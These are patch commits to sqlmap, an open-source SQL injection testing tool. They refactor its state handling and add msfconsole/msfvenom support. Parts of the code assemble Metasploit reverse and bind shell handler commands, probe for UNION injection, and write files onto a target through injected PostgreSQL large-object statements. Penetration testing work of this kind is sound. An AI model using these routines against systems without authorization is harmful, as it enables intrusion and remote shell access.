pushValue(kb.pageCompress) + kb.pageCompress = False + page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): @@ -1282,7 +1282,8 @@ def checkNullConnection(): errMsg = getUnicode(errMsg) raise SqlmapConnectionException(errMsg) - kb.pageCompress = popValue() + finally: + kb.pageCompress = popValue() return kb.nullConnection is not None diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 52f2c8c28..d5793767c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -501,47 +501,49 @@ def start(): kb.testedParams.add(paramKey) if testSqlInj: - if place == PLACE.COOKIE: - pushValue(kb.mergeCookies) - kb.mergeCookies = False + try: + if place == PLACE.COOKIE: + pushValue(kb.mergeCookies) + kb.mergeCookies = False - check = heuristicCheckSqlInjection(place, parameter) + check = heuristicCheckSqlInjection(place, parameter) - if check != HEURISTIC_TEST.POSITIVE: - if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): - infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) - logger.info(infoMsg) - continue + if check != HEURISTIC_TEST.POSITIVE: + if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): + infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + logger.info(infoMsg) + continue - infoMsg = "testing for SQL injection on %s " % paramType - infoMsg += "parameter '%s'" % parameter - logger.info(infoMsg) + infoMsg = "testing for SQL injection on %s " % paramType + infoMsg += "parameter '%s'" % parameter + logger.info(infoMsg) - injection = checkSqlInjection(place, parameter, value) - proceed = not kb.endDetection + injection = checkSqlInjection(place, parameter, value) + proceed = not kb.endDetection - if injection is not None and injection.place is not None: - kb.injections.append(injection) + if injection is not None and injection.place is not None: + kb.injections.append(injection) - # In case when user wants to end detection phase (Ctrl+C) - if not proceed: - break + # In case when user wants to end detection phase (Ctrl+C) + if not proceed: + break - msg = "%s parameter '%s' " % (injection.place, injection.parameter) - msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " - test = readInput(msg, default="N") + msg = "%s parameter '%s' " % (injection.place, injection.parameter) + msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " + test = readInput(msg, default="N") - if test[0] not in ("y", "Y"): - proceed = False - paramKey = (conf.hostname, conf.path, None, None) - kb.testedParams.add(paramKey) - else: - warnMsg = "%s parameter '%s' is not " % (paramType, parameter) - warnMsg += "injectable" - logger.warn(warnMsg) + if test[0] not in ("y", "Y"): + proceed = False + paramKey = (conf.hostname, conf.path, None, None) + kb.testedParams.add(paramKey) + else: + warnMsg = "%s parameter '%s' is not " % (paramType, parameter) + warnMsg += "injectable" + logger.warn(warnMsg) - if place == PLACE.COOKIE: - kb.mergeCookies = popValue() + finally: + if place == PLACE.COOKIE: + kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: diff --git a/lib/request/connect.py b/lib/request/connect.py index 94ce9887e..7b05f8385 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1030,23 +1030,24 @@ class Connect(object): if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False - pushValue(kb.pageCompress) - kb.pageCompress = False + try: + pushValue(kb.pageCompress) + kb.pageCompress = False - if kb.nullConnection == NULLCONNECTION.HEAD: - method = HTTPMETHOD.HEAD - elif kb.nullConnection == NULLCONNECTION.RANGE: - auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" + if kb.nullConnection == NULLCONNECTION.HEAD: + method = HTTPMETHOD.HEAD + elif kb.nullConnection == NULLCONNECTION.RANGE: + auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" - _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) + _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) - if headers: - if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: - pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) - elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: - pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) - - kb.pageCompress = popValue() + if headers: + if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: + pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) + elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: + pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + finally: + kb.pageCompress = popValue() if not pageLength: try: diff --git a/lib/request/inject.py b/lib/request/inject.py index 74d83efc9..b12517ce4 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -391,11 +391,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) - pushValue(kb.forcePartialUnion) - kb.forcePartialUnion = True - value = _goUnion(query, unpack, dump) - found = (value is not None) or (value is None and expectingNone) - kb.forcePartialUnion = popValue() + try: + pushValue(kb.forcePartialUnion) + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + finally: + kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index b39bd6b5a..a498bf08c 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -81,73 +81,74 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= return found - pushValue(kb.errorIsNone) - items, ratios = [], [] - kb.errorIsNone = False - lowerCount, upperCount = conf.uColsStart, conf.uColsStop + try: + pushValue(kb.errorIsNone) + items, ratios = [], [] + kb.errorIsNone = False + lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if lowerCount == 1: - found = kb.orderByColumns or _orderByTechnique() - if found: - kb.orderByColumns = found - infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") - singleTimeLogMessage(infoMsg) - return found + if lowerCount == 1: + found = kb.orderByColumns or _orderByTechnique() + if found: + kb.orderByColumns = found + infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") + singleTimeLogMessage(infoMsg) + return found - if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: - upperCount = lowerCount + MIN_UNION_RESPONSES + if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: + upperCount = lowerCount + MIN_UNION_RESPONSES - min_, max_ = MAX_RATIO, MIN_RATIO - pages = {} + min_, max_ = MAX_RATIO, MIN_RATIO + pages = {} + + for count in xrange(lowerCount, upperCount + 1): + query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + if not isNullValue(kb.uChar): + pages[count] = page + ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO + ratios.append(ratio) + min_, max_ = min(min_, ratio), max(max_, ratio) + items.append((count, ratio)) - for count in xrange(lowerCount, upperCount + 1): - query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): - pages[count] = page - ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO - ratios.append(ratio) - min_, max_ = min(min_, ratio), max(max_, ratio) - items.append((count, ratio)) + for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): + contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] + if len(filter(lambda x: x[1], contains)) == 1: + retVal = filter(lambda x: x[1], contains)[0][0] + break - if not isNullValue(kb.uChar): - for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] - if len(filter(lambda x: x[1], contains)) == 1: - retVal = filter(lambda x: x[1], contains)[0][0] - break + if not retVal: + ratios.pop(ratios.index(min_)) + ratios.pop(ratios.index(max_)) - if not retVal: - ratios.pop(ratios.index(min_)) - ratios.pop(ratios.index(max_)) + minItem, maxItem = None, None - minItem, maxItem = None, None + for item in items: + if item[1] == min_: + minItem = item + elif item[1] == max_: + maxItem = item - for item in items: - if item[1] == min_: - minItem = item - elif item[1] == max_: - maxItem = item + if all(map(lambda x: x == min_ and x != max_, ratios)): + retVal = maxItem[0] - if all(map(lambda x: x == min_ and x != max_, ratios)): - retVal = maxItem[0] + elif all(map(lambda x: x != min_ and x == max_, ratios)): + retVal = minItem[0] - elif all(map(lambda x: x != min_ and x == max_, ratios)): - retVal = minItem[0] + elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: + deviation = stdev(ratios) + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation + if min_ < lower: + retVal = minItem[0] - if min_ < lower: - retVal = minItem[0] - - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] - - kb.errorIsNone = popValue() + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] + finally: + kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 6fa1295d2..195b2d6a7 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -742,32 +742,33 @@ class Databases: infoMsg = "enumerating database management system schema" logger.info(infoMsg) - pushValue(conf.db) - pushValue(conf.tbl) - pushValue(conf.col) + try: + pushValue(conf.db) + pushValue(conf.tbl) + pushValue(conf.col) - kb.data.cachedTables = {} - kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.cachedColumns = {} - self.getTables() + self.getTables() - infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ - Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ - else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ - kb.data.cachedTables.items()]) - logger.info(infoMsg) + infoMsg = "fetched tables: " + infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ + Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ + else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ + kb.data.cachedTables.items()]) + logger.info(infoMsg) - for db, tables in kb.data.cachedTables.items(): - for tbl in tables: - conf.db = db - conf.tbl = tbl + for db, tables in kb.data.cachedTables.items(): + for tbl in tables: + conf.db = db + conf.tbl = tbl - self.getColumns() - - conf.col = popValue() - conf.tbl = popValue() - conf.db = popValue() + self.getColumns() + finally: + conf.col = popValue() + conf.tbl = popValue() + conf.db = popValue() return kb.data.cachedColumns From 2afb5687f697c2d65010a13adecb47eb806bf779 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Jul 2015 15:47:27 +0200 Subject: [PATCH 32/88] Fixes #1307 --- lib/core/target.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 442a8cd7a..c1bf921bd 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -604,7 +604,7 @@ def _createTargetDirs(): warnMsg = "unable to create regular output directory " warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir @@ -626,7 +626,7 @@ def _createTargetDirs(): warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) conf.outputPath = tempDir From 75ed5f767c2484f53833a225171331465391f714 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Jul 2015 17:03:20 +0200 Subject: [PATCH 33/88] Fixes #1309 --- lib/takeover/udf.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 13ec70dfe..aa10b3c63 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -361,6 +361,9 @@ class UDF: warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) + if not isinstance(choice, int): + break + cmd = "" count = 1 udfToCall = udfList[choice - 1] From 358651b19c279c8d0ecdb5c8e68fe6340659a6bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jul 2015 00:41:03 +0200 Subject: [PATCH 34/88] Fixes #1313 --- lib/core/common.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8f6ca2954..a0255dda4 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2482,7 +2482,9 @@ def extractTextTagContent(page): [u'Title', u'foobar'] """ - page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "") + page = page or "" + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): From cece2cb12d3397eadd587c9011b7be913868a2c4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jul 2015 00:42:29 +0200 Subject: [PATCH 35/88] Minor cosmetics --- lib/core/common.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index a0255dda4..44465c7e8 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2483,8 +2483,10 @@ def extractTextTagContent(page): """ page = page or "" + if REFLECTED_VALUE_MARKER in page: page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) + return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): From 58002c5057b547286452db429e15c562bf9465d5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jul 2015 09:55:59 +0200 Subject: [PATCH 36/88] Minor cosmetics --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 39c472e73..576d20a0f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1012,7 +1012,7 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the target URL is stable. Delay can take up to a second" + infoMsg = "testing if the target URL is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() From a905b8d8f55d5e1478912993235685d0ca5d174a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jul 2015 10:07:21 +0200 Subject: [PATCH 37/88] Fixes #1312 --- lib/core/option.py | 12 ++--- lib/takeover/metasploit.py | 104 +++++++++++++++++++++++++------------ 2 files changed, 76 insertions(+), 40 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 75885f878..b73152469 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -765,12 +765,12 @@ def _setMetasploit(): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("", "msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): - kb.msfVenom = True + kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): - kb.msfVenom = False + kb.oldMsf = True else: msfEnvPathExists = False conf.msfPath = path @@ -806,9 +806,9 @@ def _setMetasploit(): if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("", "msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): - kb.msfVenom = True + kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): - kb.msfVenom = False + kb.oldMsf = True else: msfEnvPathExists = False @@ -1811,10 +1811,10 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None - kb.msfVenom = False kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None + kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 14364c77d..8717b6c73 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -62,6 +62,7 @@ class Metasploit: self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) @@ -78,6 +79,7 @@ class Metasploit: if _ == old: break self._msfCli = "%s & ruby %s" % (_, self._msfCli) + self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) @@ -329,45 +331,79 @@ class Metasploit: self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): - self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) - self._cliCmd += " EXITFUNC=%s" % exitfunc - self._cliCmd += " LPORT=%s" % self.portStr + if kb.oldMsf: + self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=%s" % exitfunc + self._cliCmd += " LPORT=%s" % self.portStr - if self.connectionStr.startswith("bind"): - self._cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self._cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += " DisableCourtesyShell=true" + + self._cliCmd += " E" else: - raise SqlmapDataException("unexpected connection type") + self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC %s" % exitfunc + self._cliCmd += "; set LPORT %s" % self.portStr - if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": - self._cliCmd += " DisableCourtesyShell=true" + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") - self._cliCmd += " E" + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += "; set DisableCourtesyShell true" + + self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) - self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) - self._cliCmd += " EXITFUNC=thread" - self._cliCmd += " LPORT=%s" % self.portStr - self._cliCmd += " SRVHOST=%s" % self.lhostStr - self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() + if kb.oldMsf: + self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=thread" + self._cliCmd += " LPORT=%s" % self.portStr + self._cliCmd += " SRVHOST=%s" % self.lhostStr + self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() - if self.connectionStr.startswith("bind"): - self._cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self._cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + self._cliCmd += " E" else: - raise SqlmapDataException("unexpected connection type") + self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC thread" + self._cliCmd += "; set LPORT %s" % self.portStr + self._cliCmd += "; set SRVHOST %s" % self.lhostStr + self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() - self._cliCmd += " E" + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - if kb.msfVenom: - self._payloadCmd = "%s -p" % self._msfVenom - else: + if kb.oldMsf: self._payloadCmd = self._msfPayload + else: + self._payloadCmd = "%s -p" % self._msfVenom + self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr @@ -380,15 +416,7 @@ class Metasploit: if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" - if kb.msfVenom: - if extra == "BufferRegister=EAX": - self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) - - if extra is not None: - self._payloadCmd += " %s" % extra - else: - self._payloadCmd += " -f exe > \"%s\"" % outFile - else: + if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) @@ -396,6 +424,14 @@ class Metasploit: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile + else: + if extra == "BufferRegister=EAX": + self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) + + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() From 8df3d7a6fa97c25605f3637da7aad54a55fe8782 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Jul 2015 12:11:12 +0200 Subject: [PATCH 38/88] Minor enhancement for beep --- extra/beep/beep.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/extra/beep/beep.py b/extra/beep/beep.py index b46036b2a..cd8ef9be5 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -45,6 +45,10 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): + for _ in ("aplay", "paplay", "play"): + if not os.system("%s '%s' 2>/dev/null" % (_, filename)): + return + import ctypes PA_STREAM_PLAYBACK = 1 From b6ea2fdb07390de62b5b37fe825b4fdc7632ad89 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Jul 2015 14:56:45 +0200 Subject: [PATCH 39/88] Fixes #1170 --- lib/core/settings.py | 3 ++ plugins/dbms/postgresql/filesystem.py | 66 ++++++--------------------- plugins/generic/filesystem.py | 21 ++++++--- 3 files changed, 31 insertions(+), 59 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a356390d9..325855514 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -611,6 +611,9 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 300 +# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html +LOBLKSIZE = 2048 + # Suffix used to mark variables having keyword names EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index e45be204b..d3bc2516e 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -11,12 +11,14 @@ from lib.core.common import randomInt from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None + self.page = None GenericFilesystem.__init__(self) @@ -35,34 +37,13 @@ class Filesystem(GenericFilesystem): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) - - if wFileSize > 8192: - errMsg = "on PostgreSQL it is not possible to write files " - errMsg += "bigger than 8192 bytes at the moment" - raise SqlmapUnsupportedFeatureException(errMsg) + content = open(wFile, "rb").read() self.oid = randomInt() - - debugMsg = "creating a support table to write the base64 " - debugMsg += "encoded file to" - logger.debug(debugMsg) + self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") - logger.debug("encoding file to its base64 string value") - fcEncodedList = self.fileEncode(wFile, "base64", False) - - debugMsg = "forging SQL statements to write the base64 " - debugMsg += "encoded file to the support table" - logger.debug(debugMsg) - - sqlQueries = self.fileToSqlQueries(fcEncodedList) - - logger.debug("inserting the base64 encoded file to the support table") - - for sqlQuery in sqlQueries: - inject.goStacked(sqlQuery) - debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) @@ -70,44 +51,25 @@ class Filesystem(GenericFilesystem): # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - inject.goStacked("SELECT lo_create(%d)" % self.oid) - debugMsg = "updating the system large objects table assigning to " - debugMsg += "the just created OID the binary (base64 decoded) UDF " - debugMsg += "as data" - logger.debug(debugMsg) + for offset in xrange(0, wFileSize, LOBLKSIZE): + fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) + sqlQueries = self.fileToSqlQueries(fcEncodedList) - # Refereces: - # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html - # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql - # - # NOTE: From PostgreSQL site: - # - # "The data stored in the large object will never be more than - # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or - # typically 2 Kb" - # - # As a matter of facts it was possible to store correctly a file - # large 13776 bytes, the problem arises at next step (lo_export()) - # - # Inject manually into PostgreSQL system table pg_largeobject the - # base64-decoded file content. Note that PostgreSQL >= 9.0 does - # not accept UPDATE into that table for some reason. - self.getVersionFromBanner() - banVer = kb.bannerFp["dbmsVersion"] + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) - if banVer >= "9.0": - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) - else: - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("DELETE FROM %s" % self.fileTblName) + + self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) - # NOTE: lo_export() exports up to only 8192 bytes of the file - # (pg_largeobject 'data' field) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 0ff2a4a2c..faf582f5d 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -42,7 +42,7 @@ class Filesystem: lengthQuery = 